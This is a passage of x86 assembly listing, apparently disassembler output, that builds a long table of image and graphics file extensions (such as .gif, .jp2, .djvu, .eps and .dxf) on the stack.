mov word [ebp - 0x1388], ax
movq xmm0, qword [str..wpa]
movq qword [ebp - 0x139c], xmm0
movzx eax, word [0x44edf0]
mov word [ebp - 0x1394], ax
movq xmm0, qword [str..wpd]
movq qword [ebp - 0x13a8], xmm0
movzx eax, word [0x44edfc]
mov word [ebp - 0x13a0], ax
movq xmm0, qword [str..wpl]
movq qword [ebp - 0x13b4], xmm0
movzx eax, word [0x44ee08]
mov word [ebp - 0x13ac], ax
movq xmm0, qword [str..wps]
movq qword [ebp - 0x13c0], xmm0
movzx eax, word [0x44ee14]
mov word [ebp - 0x13b8], ax
movq xmm0, qword [str..wpt]
movq qword [ebp - 0x13cc], xmm0
movzx eax, word [0x44ee20]
mov word [ebp - 0x13c4], ax
movq xmm0, qword [str..wpw]
movq qword [ebp - 0x13d8], xmm0
movzx eax, word [0x44ee2c]
mov word [ebp - 0x13d0], ax
movq xmm0, qword [str..wri]
movq qword [ebp - 0x13e4], xmm0
movzx eax, word [0x44ee38]
mov word [ebp - 0x13dc], ax
movq xmm0, qword [str..wsc]
movq qword [ebp - 0x13f0], xmm0
movzx eax, word [0x44ee44]
mov word [ebp - 0x13e8], ax
movq xmm0, qword [str..wsd]
movq qword [ebp - 0x13fc], xmm0
movzx eax, word [0x44ee50]
mov word [ebp - 0x13f4], ax
movq xmm0, qword [str..wsh]
movq qword [ebp - 0x1408], xmm0
movzx eax, word [0x44ee5c]
mov word [ebp - 0x1400], ax
movq xmm0, qword [str..wtx]
movq qword [ebp - 0x1414], xmm0
movzx eax, word [0x44ee68]
mov word [ebp - 0x140c], ax
movq xmm0, qword [str..xdl]
movq qword [ebp - 0x1420], xmm0
movzx eax, word [0x44ee74]
mov word [ebp - 0x1418], ax
movq xmm0, qword [str..xlf]
movq qword [ebp - 0x142c], xmm0
movzx eax, word [0x44ee80]
mov word [ebp - 0x1424], ax
movq xmm0, qword [str..xps]
movq qword [ebp - 0x1438], xmm0
movzx eax, word [0x44ee8c]
mov word [ebp - 0x1430], ax
movq xmm0, qword [str..xwp]
movq qword [ebp - 0x1444], xmm0
movzx eax, word [0x44ee98]
mov word [ebp - 0x143c], ax
movq xmm0, qword [str..xy3]
movq qword [ebp - 0x1450], xmm0
movzx eax, word [0x44eea4]
mov word [ebp - 0x1448], ax
movq xmm0, qword [str..xyp]
movq qword [ebp - 0x145c], xmm0
movzx eax, word [0x44eeb0]
mov word [ebp - 0x1454], ax
movq xmm0, qword [str..xyw]
movq qword [ebp - 0x1468], xmm0
movzx eax, word [0x44eebc]
mov word [ebp - 0x1460], ax
movq xmm0, qword [str..ybk]
movq qword [ebp - 0x1474], xmm0
movzx eax, word [0x44eec8]
mov word [ebp - 0x146c], ax
movq xmm0, qword [str..yml]
movq qword [ebp - 0x1480], xmm0
movzx eax, word [0x44eed4]
mov word [ebp - 0x1478], ax
movq xmm0, qword [str..zabw]
movq qword [ebp - 0x24a0], xmm0
mov eax, dword [0x44eee0]
mov dword [ebp - 0x2498], eax
xor eax, eax
mov word [ebp - 0x2494], ax
mov eax, dword [0x44eee4]
mov dword [ebp - 0x2d8], eax
mov eax, dword [0x44eee8]
mov dword [ebp - 0x2d4], eax
xor eax, eax
mov word [ebp - 0x2d0], ax
movq xmm0, qword [str..abm]
movq qword [ebp - 0x148c], xmm0
movzx eax, word [0x44eef4]
mov word [ebp - 0x1484], ax
movq xmm0, qword [str..afx]
movq qword [ebp - 0x1498], xmm0
movzx eax, word [0x44ef00]
mov word [ebp - 0x1490], ax
movq xmm0, qword [str..agif]
movq qword [ebp - 0x24b0], xmm0
mov eax, dword [0x44ef0c]
mov dword [ebp - 0x24a8], eax
xor eax, eax
mov word [ebp - 0x24a4], ax
movq xmm0, qword [str..agp]
movq qword [ebp - 0x14a4], xmm0
movzx eax, word [0x44ef18]
mov word [ebp - 0x149c], ax
movq xmm0, qword [str..aic]
movq qword [ebp - 0x14b0], xmm0
movzx eax, word [0x44ef24]
mov word [ebp - 0x14a8], ax
movq xmm0, qword [str..albm]
movq qword [ebp - 0x24c0], xmm0
mov eax, dword [0x44ef30]
mov dword [ebp - 0x24b8], eax
xor eax, eax
mov word [ebp - 0x24b4], ax
movq xmm0, qword [str..apd]
movq qword [ebp - 0x14bc], xmm0
movzx eax, word [0x44ef3c]
mov word [ebp - 0x14b4], ax
movq xmm0, qword [str..apm]
movq qword [ebp - 0x14c8], xmm0
movzx eax, word [0x44ef48]
mov word [ebp - 0x14c0], ax
movq xmm0, qword [str..apng]
movq qword [ebp - 0x324], xmm0
mov eax, dword [0x44ef54]
mov dword [ebp - 0x31c], eax
xor eax, eax
mov word [ebp - 0x318], ax
movq xmm0, qword [str..aps]
movq qword [ebp - 0x14d4], xmm0
movzx eax, word [0x44ef60]
mov word [ebp - 0x14cc], ax
movq xmm0, qword [str..apx]
movq qword [ebp - 0x14e0], xmm0
movzx eax, word [0x44ef6c]
mov word [ebp - 0x14d8], ax
movq xmm0, qword [str..art]
movq qword [ebp - 0x14ec], xmm0
movzx eax, word [0x44ef78]
mov word [ebp - 0x14e4], ax
movq xmm0, qword [str..asw]
movq qword [ebp - 0x1504], xmm0
movzx eax, word [0x44ef84]
mov word [ebp - 0x14fc], ax
movq xmm0, qword [str..bay]
movq qword [ebp - 0x1510], xmm0
movzx eax, word [0x44ef90]
mov word [ebp - 0x1508], ax
movq xmm0, qword [str..bm2]
movq qword [ebp - 0x151c], xmm0
movzx eax, word [0x44ef9c]
mov word [ebp - 0x1514], ax
movq xmm0, qword [str..bmx]
movq qword [ebp - 0x1534], xmm0
movzx eax, word [0x44efa8]
mov word [ebp - 0x152c], ax
movq xmm0, qword [str..brk]
movq qword [ebp - 0x1540], xmm0
movzx eax, word [0x44efb4]
mov word [ebp - 0x1538], ax
movq xmm0, qword [str..brn]
movq qword [ebp - 0x154c], xmm0
movzx eax, word [0x44efc0]
mov word [ebp - 0x1544], ax
movq xmm0, qword [str..brt]
movq qword [ebp - 0x1558], xmm0
movzx eax, word [0x44efcc]
mov word [ebp - 0x1550], ax
movq xmm0, qword [0x44efd0]
movq qword [ebp - 0x1564], xmm0
movzx eax, word [0x44efd8]
mov word [ebp - 0x155c], ax
movq xmm0, qword [str..bti]
movq qword [ebp - 0x1570], xmm0
movzx eax, word [0x44efe4]
mov word [ebp - 0x1568], ax
mov eax, dword [0x44efe8]
mov dword [ebp - 0x2e4], eax
mov eax, dword [0x44efec]
mov dword [ebp - 0x2e0], eax
xor eax, eax
mov word [ebp - 0x2dc], ax
movq xmm0, qword [str..cal]
movq qword [ebp - 0x157c], xmm0
movzx eax, word [0x44eff8]
mov word [ebp - 0x1574], ax
movq xmm0, qword [str..cals]
movq qword [ebp - 0x24d0], xmm0
mov eax, dword [0x44f004]
mov dword [ebp - 0x24c8], eax
xor eax, eax
mov word [ebp - 0x24c4], ax
movq xmm0, qword [str..can]
movq qword [ebp - 0x1588], xmm0
movzx eax, word [0x44f010]
mov word [ebp - 0x1580], ax
movq xmm0, qword [str..cd5]
movq qword [ebp - 0x1594], xmm0
movzx eax, word [0x44f01c]
mov word [ebp - 0x158c], ax
movq xmm0, qword [str..cdc]
movq qword [ebp - 0x15a0], xmm0
movzx eax, word [0x44f028]
mov word [ebp - 0x1598], ax
movq xmm0, qword [str..cdg]
movq qword [ebp - 0x15ac], xmm0
movzx eax, word [0x44f034]
mov word [ebp - 0x15a4], ax
movq xmm0, qword [str..cimg]
movq qword [ebp - 0x24e0], xmm0
mov eax, dword [0x44f040]
mov dword [ebp - 0x24d8], eax
xor eax, eax
mov word [ebp - 0x24d4], ax
movq xmm0, qword [str..cin]
movq qword [ebp - 0x15b8], xmm0
movzx eax, word [0x44f04c]
mov word [ebp - 0x15b0], ax
movq xmm0, qword [str..cit]
movq qword [ebp - 0x15c4], xmm0
movzx eax, word [0x44f058]
mov word [ebp - 0x15bc], ax
movq xmm0, qword [str..colz]
movq qword [ebp - 0x24f0], xmm0
mov eax, dword [0x44f064]
mov dword [ebp - 0x24e8], eax
xor eax, eax
mov word [ebp - 0x24e4], ax
movq xmm0, qword [str..cpc]
movq qword [ebp - 0x15d0], xmm0
movzx eax, word [0x44f070]
mov word [ebp - 0x15c8], ax
movq xmm0, qword [str..cpd]
movq qword [ebp - 0x15dc], xmm0
movzx eax, word [0x44f07c]
mov word [ebp - 0x15d4], ax
movq xmm0, qword [str..cpg]
movq qword [ebp - 0x15e8], xmm0
movzx eax, word [0x44f088]
mov word [ebp - 0x15e0], ax
movq xmm0, qword [str..cps]
movq qword [ebp - 0x15f4], xmm0
movzx eax, word [0x44f094]
mov word [ebp - 0x15ec], ax
movq xmm0, qword [str..cpx]
movq qword [ebp - 0x1600], xmm0
movzx eax, word [0x44f0a0]
mov word [ebp - 0x15f8], ax
movq xmm0, qword [str..cr2]
movq qword [ebp - 0x160c], xmm0
movzx eax, word [0x44f0ac]
mov word [ebp - 0x1604], ax
mov eax, dword [0x44f0b0]
mov dword [ebp - 0x2f0], eax
mov eax, dword [0x44f0b4]
mov dword [ebp - 0x2ec], eax
xor eax, eax
mov word [ebp - 0x2e8], ax
movq xmm0, qword [str..dc2]
movq qword [ebp - 0x1618], xmm0
movzx eax, word [0x44f0c0]
mov word [ebp - 0x1610], ax
movq xmm0, qword [str..dcr]
movq qword [ebp - 0x1624], xmm0
movzx eax, word [0x44f0cc]
mov word [ebp - 0x161c], ax
movq xmm0, qword [str..dds]
movq qword [ebp - 0x1630], xmm0
movzx eax, word [0x44f0d8]
mov word [ebp - 0x1628], ax
movq xmm0, qword [str..dgt]
movq qword [ebp - 0x163c], xmm0
movzx eax, word [0x44f0e4]
mov word [ebp - 0x1634], ax
movq xmm0, qword [str..dib]
movq qword [ebp - 0x1648], xmm0
movzx eax, word [0x44f0f0]
mov word [ebp - 0x1640], ax
movq xmm0, qword [str..djv]
movq qword [ebp - 0x188], xmm0
movzx eax, word [0x44f0fc]
mov word [ebp - 0x180], ax
movq xmm0, qword [str..djvu]
movq qword [ebp - 0x26c0], xmm0
mov eax, dword [0x44f108]
mov dword [ebp - 0x26b8], eax
xor eax, eax
mov word [ebp - 0x26b4], ax
movq xmm0, qword [str..dm3]
movq qword [ebp - 0x1654], xmm0
movzx eax, word [0x44f114]
mov word [ebp - 0x164c], ax
movq xmm0, qword [str..dmi]
movq qword [ebp - 0x1660], xmm0
movzx eax, word [0x44f120]
mov word [ebp - 0x1658], ax
movq xmm0, qword [str..vue]
movq qword [ebp - 0x166c], xmm0
movzx eax, word [0x44f12c]
mov word [ebp - 0x1664], ax
movq xmm0, qword [str..dpx]
movq qword [ebp - 0x1678], xmm0
movzx eax, word [0x44f138]
mov word [ebp - 0x1670], ax
movq xmm0, qword [str..wire]
movq qword [ebp - 0x2500], xmm0
mov eax, dword [0x44f144]
mov dword [ebp - 0x24f8], eax
xor eax, eax
mov word [ebp - 0x24f4], ax
movq xmm0, qword [str..drz]
movq qword [ebp - 0x1684], xmm0
movzx eax, word [0x44f150]
mov word [ebp - 0x167c], ax
movq xmm0, qword [str..dt2]
movq qword [ebp - 0x1690], xmm0
movzx eax, word [0x44f15c]
mov word [ebp - 0x1688], ax
movq xmm0, qword [str..dtw]
movq qword [ebp - 0x169c], xmm0
movzx eax, word [0x44f168]
mov word [ebp - 0x1694], ax
movq xmm0, qword [str..dvl]
movq qword [ebp - 0x16a8], xmm0
movzx eax, word [0x44f174]
mov word [ebp - 0x16a0], ax
movq xmm0, qword [str..ecw]
movq qword [ebp - 0x16b4], xmm0
movzx eax, word [0x44f180]
mov word [ebp - 0x16ac], ax
movq xmm0, qword [str..eip]
movq qword [ebp - 0x16c0], xmm0
movzx eax, word [0x44f18c]
mov word [ebp - 0x16b8], ax
movq xmm0, qword [str..exr]
movq qword [ebp - 0x16d8], xmm0
movzx eax, word [0x44f198]
mov word [ebp - 0x16d0], ax
movq xmm0, qword [str..fal]
movq qword [ebp - 0x16e4], xmm0
movzx eax, word [0x44f1a4]
mov word [ebp - 0x16dc], ax
movq xmm0, qword [str..fax]
movq qword [ebp - 0x16f0], xmm0
movzx eax, word [0x44f1b0]
mov word [ebp - 0x16e8], ax
movq xmm0, qword [str..fpos]
movq qword [ebp - 0x2510], xmm0
mov eax, dword [0x44f1bc]
mov dword [ebp - 0x2508], eax
xor eax, eax
mov word [ebp - 0x2504], ax
movq xmm0, qword [str..fpx]
movq qword [ebp - 0x16fc], xmm0
movzx eax, word [0x44f1c8]
mov word [ebp - 0x16f4], ax
mov eax, dword [0x44f1cc]
mov dword [ebp - 0x2fc], eax
mov eax, dword [0x44f1d0]
mov dword [ebp - 0x2f8], eax
xor eax, eax
mov word [ebp - 0x2f4], ax
movq xmm0, qword [str..gcdp]
movq qword [ebp - 0x2520], xmm0
mov eax, dword [0x44f1dc]
mov dword [ebp - 0x2518], eax
xor eax, eax
mov word [ebp - 0x2514], ax
movq xmm0, qword [str..gfb]
movq qword [ebp - 0x1708], xmm0
movzx eax, word [0x44f1e8]
mov word [ebp - 0x1700], ax
movq xmm0, qword [str..gfie]
movq qword [ebp - 0x2530], xmm0
mov eax, dword [0x44f1f4]
mov dword [ebp - 0x2528], eax
xor eax, eax
mov word [ebp - 0x2524], ax
movq xmm0, qword [str..ggr]
movq qword [ebp - 0x1714], xmm0
movzx eax, word [0x44f200]
mov word [ebp - 0x170c], ax
movq xmm0, qword [str..gif]
movq qword [ebp - 0x1720], xmm0
movzx eax, word [0x44f20c]
mov word [ebp - 0x1718], ax
movq xmm0, qword [str..gih]
movq qword [ebp - 0x172c], xmm0
movzx eax, word [0x44f218]
mov word [ebp - 0x1724], ax
movq xmm0, qword [str..gim]
movq qword [ebp - 0x1738], xmm0
movzx eax, word [0x44f224]
mov word [ebp - 0x1730], ax
movq xmm0, qword [str..spr]
movq qword [ebp - 0x1744], xmm0
movzx eax, word [0x44f230]
mov word [ebp - 0x173c], ax
movq xmm0, qword [str..scad]
movq qword [ebp - 0x2540], xmm0
mov eax, dword [0x44f23c]
mov dword [ebp - 0x2538], eax
xor eax, eax
mov word [ebp - 0x2534], ax
movq xmm0, qword [str..gpd]
movq qword [ebp - 0x1750], xmm0
movzx eax, word [0x44f248]
mov word [ebp - 0x1748], ax
movq xmm0, qword [str..gro]
movq qword [ebp - 0x175c], xmm0
movzx eax, word [0x44f254]
mov word [ebp - 0x1754], ax
movq xmm0, qword [str..grob]
movq qword [ebp - 0x2550], xmm0
mov eax, dword [0x44f260]
mov dword [ebp - 0x2548], eax
xor eax, eax
mov word [ebp - 0x2544], ax
movq xmm0, qword [str..hdp]
movq qword [ebp - 0x158], xmm0
movzx eax, word [0x44f26c]
mov word [ebp - 0x150], ax
movq xmm0, qword [str..hdr]
movq qword [ebp - 0x1768], xmm0
movzx eax, word [0x44f278]
mov word [ebp - 0x1760], ax
movq xmm0, qword [str..hpi]
movq qword [ebp - 0x1774], xmm0
movzx eax, word [0x44f284]
mov word [ebp - 0x176c], ax
movq xmm0, qword [str..i3d]
movq qword [ebp - 0x1780], xmm0
movzx eax, word [0x44f290]
mov word [ebp - 0x1778], ax
movq xmm0, qword [str..icn]
movq qword [ebp - 0x178c], xmm0
movzx eax, word [0x44f29c]
mov word [ebp - 0x1784], ax
movq xmm0, qword [str..icon]
movq qword [ebp - 0x2560], xmm0
mov eax, dword [0x44f2a8]
mov dword [ebp - 0x2558], eax
xor eax, eax
mov word [ebp - 0x2554], ax
movq xmm0, qword [str..icpr]
movq qword [ebp - 0x2570], xmm0
mov eax, dword [0x44f2b4]
mov dword [ebp - 0x2568], eax
xor eax, eax
mov word [ebp - 0x2564], ax
movq xmm0, qword [str..iiq]
movq qword [ebp - 0x1798], xmm0
movzx eax, word [0x44f2c0]
mov word [ebp - 0x1790], ax
movq xmm0, qword [str..info]
movq qword [ebp - 0x21f0], xmm0
mov eax, dword [0x44f2cc]
mov dword [ebp - 0x21e8], eax
xor eax, eax
mov word [ebp - 0x21e4], ax
movq xmm0, qword [str..ipx]
movq qword [ebp - 0x17a4], xmm0
movzx eax, word [0x44f2d8]
mov word [ebp - 0x179c], ax
movq xmm0, qword [str..itc2]
movq qword [ebp - 0x2320], xmm0
mov eax, dword [0x44f2e4]
mov dword [ebp - 0x2318], eax
xor eax, eax
mov word [ebp - 0x2314], ax
movq xmm0, qword [str..iwi]
movq qword [ebp - 0x17b0], xmm0
movzx eax, word [0x44f2f0]
mov word [ebp - 0x17a8], ax
mov eax, dword [0x44f2f4]
mov dword [ebp - 0x308], eax
movzx eax, word [0x44f2f8]
mov word [ebp - 0x304], ax
mov dword [ebp - 0x302], 0
movq xmm0, qword [str..j2c]
movq qword [ebp - 0x17bc], xmm0
movzx eax, word [0x44f304]
mov word [ebp - 0x17b4], ax
movq xmm0, qword [str..j2k]
movq qword [ebp - 0x17c8], xmm0
movzx eax, word [0x44f310]
mov word [ebp - 0x17c0], ax
movq xmm0, qword [str..jas]
movq qword [ebp - 0x17d4], xmm0
movzx eax, word [0x44f31c]
mov word [ebp - 0x17cc], ax
movq xmm0, qword [str..jb2]
movq qword [ebp - 0x17e0], xmm0
movzx eax, word [0x44f328]
mov word [ebp - 0x17d8], ax
movq xmm0, qword [str..jbig]
movq qword [ebp - 0x2280], xmm0
mov eax, dword [0x44f334]
mov dword [ebp - 0x2278], eax
xor eax, eax
mov word [ebp - 0x2274], ax
movq xmm0, qword [str..jbmp]
movq qword [ebp - 0x2270], xmm0
mov eax, dword [0x44f340]
mov dword [ebp - 0x2268], eax
xor eax, eax
mov word [ebp - 0x2264], ax
movq xmm0, qword [str..jbr]
movq qword [ebp - 0x17ec], xmm0
movzx eax, word [0x44f34c]
mov word [ebp - 0x17e4], ax
movq xmm0, qword [str..jfif]
movq qword [ebp - 0x2260], xmm0
mov eax, dword [0x44f358]
mov dword [ebp - 0x2258], eax
xor eax, eax
mov word [ebp - 0x2254], ax
movq xmm0, qword [str..jia]
movq qword [ebp - 0x17f8], xmm0
movzx eax, word [0x44f364]
mov word [ebp - 0x17f0], ax
movq xmm0, qword [str..jng]
movq qword [ebp - 0x1804], xmm0
movzx eax, word [0x44f370]
mov word [ebp - 0x17fc], ax
movq xmm0, qword [str..jp2]
movq qword [ebp - 0x110], xmm0
movzx eax, word [0x44f37c]
mov word [ebp - 0x108], ax
movq xmm0, qword [str..jpg2]
movq qword [ebp - 0x2240], xmm0
mov eax, dword [0x44f388]
mov dword [ebp - 0x2238], eax
xor eax, eax
mov word [ebp - 0x2234], ax
movq xmm0, qword [str..jps]
movq qword [ebp - 0x1810], xmm0
movzx eax, word [0x44f394]
mov word [ebp - 0x1808], ax
movq xmm0, qword [str..jpx]
movq qword [ebp - 0x181c], xmm0
movzx eax, word [0x44f3a0]
mov word [ebp - 0x1814], ax
movq xmm0, qword [str..jtf]
movq qword [ebp - 0x1828], xmm0
movzx eax, word [0x44f3ac]
mov word [ebp - 0x1820], ax
movq xmm0, qword [str..jwl]
movq qword [ebp - 0x1834], xmm0
movzx eax, word [0x44f3b8]
mov word [ebp - 0x182c], ax
movq xmm0, qword [str..jxr]
movq qword [ebp - 0x1840], xmm0
movzx eax, word [0x44f3c4]
mov word [ebp - 0x1838], ax
movq xmm0, qword [str..kdc]
movq qword [ebp - 0x184c], xmm0
movzx eax, word [0x44f3d0]
mov word [ebp - 0x1844], ax
movq xmm0, qword [str..kdi]
movq qword [ebp - 0x1858], xmm0
movzx eax, word [0x44f3dc]
mov word [ebp - 0x1850], ax
movq xmm0, qword [str..kdk]
movq qword [ebp - 0x1864], xmm0
movzx eax, word [0x44f3e8]
mov word [ebp - 0x185c], ax
movq xmm0, qword [str..kic]
movq qword [ebp - 0x1870], xmm0
movzx eax, word [0x44f3f4]
mov word [ebp - 0x1868], ax
movq xmm0, qword [str..kpg]
movq qword [ebp - 0x187c], xmm0
movzx eax, word [0x44f400]
mov word [ebp - 0x1874], ax
movq xmm0, qword [str..lbm]
movq qword [ebp - 0x1888], xmm0
movzx eax, word [0x44f40c]
mov word [ebp - 0x1880], ax
movq xmm0, qword [str..ljp]
movq qword [ebp - 0x1894], xmm0
movzx eax, word [0x44f418]
mov word [ebp - 0x188c], ax
movq xmm0, qword [str..mac]
movq qword [ebp - 0x18a0], xmm0
movzx eax, word [0x44f424]
mov word [ebp - 0x1898], ax
movq xmm0, qword [str..mbm]
movq qword [ebp - 0x18ac], xmm0
movzx eax, word [0x44f430]
mov word [ebp - 0x18a4], ax
movq xmm0, qword [str..mef]
movq qword [ebp - 0x18b8], xmm0
movzx eax, word [0x44f43c]
mov word [ebp - 0x18b0], ax
movq xmm0, qword [str..mnr]
movq qword [ebp - 0x18c4], xmm0
movzx eax, word [0x44f448]
mov word [ebp - 0x18bc], ax
movq xmm0, qword [str..mos]
movq qword [ebp - 0x18d0], xmm0
movzx eax, word [0x44f454]
mov word [ebp - 0x18c8], ax
movq xmm0, qword [str..mpf]
movq qword [ebp - 0x18dc], xmm0
movzx eax, word [0x44f460]
mov word [ebp - 0x18d4], ax
movq xmm0, qword [str..mpo]
movq qword [ebp - 0x18e8], xmm0
movzx eax, word [0x44f46c]
mov word [ebp - 0x18e0], ax
movq xmm0, qword [str..mrxs]
movq qword [ebp - 0x2230], xmm0
mov eax, dword [0x44f478]
mov dword [ebp - 0x2228], eax
xor eax, eax
mov word [ebp - 0x2224], ax
movq xmm0, qword [str..myl]
movq qword [ebp - 0x18f4], xmm0
movzx eax, word [0x44f484]
mov word [ebp - 0x18ec], ax
movq xmm0, qword [str..ncr]
movq qword [ebp - 0x1900], xmm0
movzx eax, word [0x44f490]
mov word [ebp - 0x18f8], ax
movq xmm0, qword [str..nct]
movq qword [ebp - 0x190c], xmm0
movzx eax, word [0x44f49c]
mov word [ebp - 0x1904], ax
movq xmm0, qword [str..nlm]
movq qword [ebp - 0x1918], xmm0
movzx eax, word [0x44f4a8]
mov word [ebp - 0x1910], ax
movq xmm0, qword [str..nrw]
movq qword [ebp - 0x1924], xmm0
movzx eax, word [0x44f4b4]
mov word [ebp - 0x191c], ax
movq xmm0, qword [str..oc3]
movq qword [ebp - 0x1930], xmm0
movzx eax, word [0x44f4c0]
mov word [ebp - 0x1928], ax
movq xmm0, qword [str..oc4]
movq qword [ebp - 0x193c], xmm0
movzx eax, word [0x44f4cc]
mov word [ebp - 0x1934], ax
movq xmm0, qword [str..oc5]
movq qword [ebp - 0x1948], xmm0
movzx eax, word [0x44f4d8]
mov word [ebp - 0x1940], ax
movq xmm0, qword [str..oci]
movq qword [ebp - 0x1954], xmm0
movzx eax, word [0x44f4e4]
mov word [ebp - 0x194c], ax
movq xmm0, qword [str..omf]
movq qword [ebp - 0x1960], xmm0
movzx eax, word [0x44f4f0]
mov word [ebp - 0x1958], ax
movq xmm0, qword [str..oplc]
movq qword [ebp - 0x2220], xmm0
mov eax, dword [0x44f4fc]
mov dword [ebp - 0x2218], eax
xor eax, eax
mov word [ebp - 0x2214], ax
movq xmm0, qword [str..af2]
movq qword [ebp - 0x196c], xmm0
movzx eax, word [0x44f508]
mov word [ebp - 0x1964], ax
movq xmm0, qword [str..af3]
movq qword [ebp - 0x1978], xmm0
movzx eax, word [0x44f514]
mov word [ebp - 0x1970], ax
movq xmm0, qword [str..asy]
movq qword [ebp - 0x1984], xmm0
movzx eax, word [0x44f520]
mov word [ebp - 0x197c], ax
movq xmm0, qword [str..cdmm]
movq qword [ebp - 0x2210], xmm0
mov eax, dword [0x44f52c]
mov dword [ebp - 0x2208], eax
xor eax, eax
mov word [ebp - 0x2204], ax
movq xmm0, qword [str..cdmt]
movq qword [ebp - 0x2200], xmm0
mov eax, dword [0x44f538]
mov dword [ebp - 0x21f8], eax
xor eax, eax
mov word [ebp - 0x21f4], ax
movq xmm0, qword [str..cdmz]
movq qword [ebp - 0x21e0], xmm0
mov eax, dword [0x44f544]
mov dword [ebp - 0x21d8], eax
xor eax, eax
mov word [ebp - 0x21d4], ax
movq xmm0, qword [str..cdt]
movq qword [ebp - 0x1990], xmm0
movzx eax, word [0x44f550]
mov word [ebp - 0x1988], ax
movq xmm0, qword [str..cgm]
movq qword [ebp - 0x199c], xmm0
movzx eax, word [0x44f55c]
mov word [ebp - 0x1994], ax
movq xmm0, qword [str..cmx]
movq qword [ebp - 0x19a8], xmm0
movzx eax, word [0x44f568]
mov word [ebp - 0x19a0], ax
movq xmm0, qword [str..cnv]
movq qword [ebp - 0x19b4], xmm0
movzx eax, word [0x44f574]
mov word [ebp - 0x19ac], ax
movq xmm0, qword [str..csy]
movq qword [ebp - 0x19c0], xmm0
movzx eax, word [0x44f580]
mov word [ebp - 0x19b8], ax
movq xmm0, qword [str..cv5]
movq qword [ebp - 0x19cc], xmm0
movzx eax, word [0x44f58c]
mov word [ebp - 0x19c4], ax
movq xmm0, qword [str..cvg]
movq qword [ebp - 0x19d8], xmm0
movzx eax, word [0x44f598]
mov word [ebp - 0x19d0], ax
movq xmm0, qword [str..cvi]
movq qword [ebp - 0x19e4], xmm0
movzx eax, word [0x44f5a4]
mov word [ebp - 0x19dc], ax
movq xmm0, qword [str..cvs]
movq qword [ebp - 0x19f0], xmm0
movzx eax, word [0x44f5b0]
mov word [ebp - 0x19e8], ax
movq xmm0, qword [str..cvx]
movq qword [ebp - 0x19fc], xmm0
movzx eax, word [0x44f5bc]
mov word [ebp - 0x19f4], ax
movq xmm0, qword [str..cwt]
movq qword [ebp - 0x1a08], xmm0
movzx eax, word [0x44f5c8]
mov word [ebp - 0x1a00], ax
movq xmm0, qword [str..cxf]
movq qword [ebp - 0x1a14], xmm0
movzx eax, word [0x44f5d4]
mov word [ebp - 0x1a0c], ax
movq xmm0, qword [str..dcs]
movq qword [ebp - 0x1a20], xmm0
movzx eax, word [0x44f5e0]
mov word [ebp - 0x1a18], ax
movq xmm0, qword [str..ded]
movq qword [ebp - 0x1a2c], xmm0
movzx eax, word [0x44f5ec]
mov word [ebp - 0x1a24], ax
movq xmm0, qword [str..dhs]
movq qword [ebp - 0x1a38], xmm0
movzx eax, word [0x44f5f8]
mov word [ebp - 0x1a30], ax
movq xmm0, qword [str..dpp]
movq qword [ebp - 0x1a44], xmm0
movzx eax, word [0x44f604]
mov word [ebp - 0x1a3c], ax
movq xmm0, qword [str..drw]
movq qword [ebp - 0x1a50], xmm0
movzx eax, word [0x44f610]
mov word [ebp - 0x1a48], ax
movq xmm0, qword [str..dxb]
movq qword [ebp - 0x1a5c], xmm0
movzx eax, word [0x44f61c]
mov word [ebp - 0x1a54], ax
movq xmm0, qword [str..dxf]
movq qword [ebp - 0x1a68], xmm0
movzx eax, word [0x44f628]
mov word [ebp - 0x1a60], ax
movq xmm0, qword [str..egc]
movq qword [ebp - 0x1a74], xmm0
movzx eax, word [0x44f634]
mov word [ebp - 0x1a6c], ax
movq xmm0, qword [str..emf]
movq qword [ebp - 0x17c], xmm0
movzx eax, word [0x44f640]
mov word [ebp - 0x174], ax
mov eax, dword [0x44f644]
mov dword [ebp - 0x314], eax
mov eax, dword [0x44f648]
mov dword [ebp - 0x310], eax
xor eax, eax
mov word [ebp - 0x30c], ax
movq xmm0, qword [str..eps]
movq qword [ebp - 0x1a80], xmm0
movzx eax, word [0x44f654]
mov word [ebp - 0x1a78], ax
movq xmm0, qword [str..epsf]
movq qword [ebp - 0x21d0], xmm0
mov eax, dword [0x44f660]
mov dword [ebp - 0x21c8], eax
xor eax, eax
mov word [ebp - 0x21c4], ax
movq xmm0, qword [str..fh10]
movq qword [ebp - 0x21c0], xmm0
mov eax, dword [0x44f66c]
mov dword [ebp - 0x21b8], eax
xor eax, eax
mov word [ebp - 0x21b4], ax
movq xmm0, qword [str..fh11]
movq qword [ebp - 0x21b0], xmm0
mov eax, dword [0x44f678]
mov dword [ebp - 0x21a8], eax
xor eax, eax
mov word [ebp - 0x21a4], ax
movq xmm0, qword [str..fh3]
movq qword [ebp - 0x1a8c], xmm0
movzx eax, word [0x44f684]
mov word [ebp - 0x1a84], ax
movq xmm0, qword [str..fh4]
movq qword [ebp - 0x1a98], xmm0
movzx eax, word [0x44f690]
mov word [ebp - 0x1a90], ax
movq xmm0, qword [str..fh5]
movq qword [ebp - 0x1aa4], xmm0
movzx eax, word [0x44f69c]
mov word [ebp - 0x1a9c], ax
movq xmm0, qword [str..fh6]
movq qword [ebp - 0x1ab0], xmm0
movzx eax, word [0x44f6a8]
mov word [ebp - 0x1aa8], ax
movq xmm0, qword [str..fh7]
movq qword [ebp - 0x1abc], xmm0
movzx eax, word [0x44f6b4]
mov word [ebp - 0x1ab4], ax
movq xmm0, qword [str..fh8]
movq qword [ebp - 0x1ac8], xmm0
movzx eax, word [0x44f6c0]
mov word [ebp - 0x1ac0], ax
movq xmm0, qword [str..fif]
movq qword [ebp - 0x1ad4], xmm0
movzx eax, word [0x44f6cc]
mov word [ebp - 0x1acc], ax
movq xmm0, qword [str..fig]
movq qword [ebp - 0x1ae0], xmm0
movzx eax, word [0x44f6d8]
mov word [ebp - 0x1ad8], ax
movq xmm0, qword [str..fmv]
movq qword [ebp - 0x1aec], xmm0
movzx eax, word [0x44f6e4]
mov word [ebp - 0x1ae4], ax
movq xmm0, qword [str..ft10]
movq qword [ebp - 0x21a0], xmm0
mov eax, dword [0x44f6f0]
mov dword [ebp - 0x2198], eax
xor eax, eax
mov word [ebp - 0x2194], ax
movq xmm0, qword [str..ft11]
movq qword [ebp - 0x2190], xmm0
mov eax, dword [0x44f6fc]
mov dword [ebp - 0x2188], eax
xor eax, eax
mov word [ebp - 0x2184], ax
movq xmm0, qword [str..ft7]
movq qword [ebp - 0x1af8], xmm0
movzx eax, word [0x44f708]
mov word [ebp - 0x1af0], ax
movq xmm0, qword [str..ft8]
movq qword [ebp - 0x1b04], xmm0
movzx eax, word [0x44f714]
mov word [ebp - 0x1afc], ax
movq xmm0, qword [str..ft9]
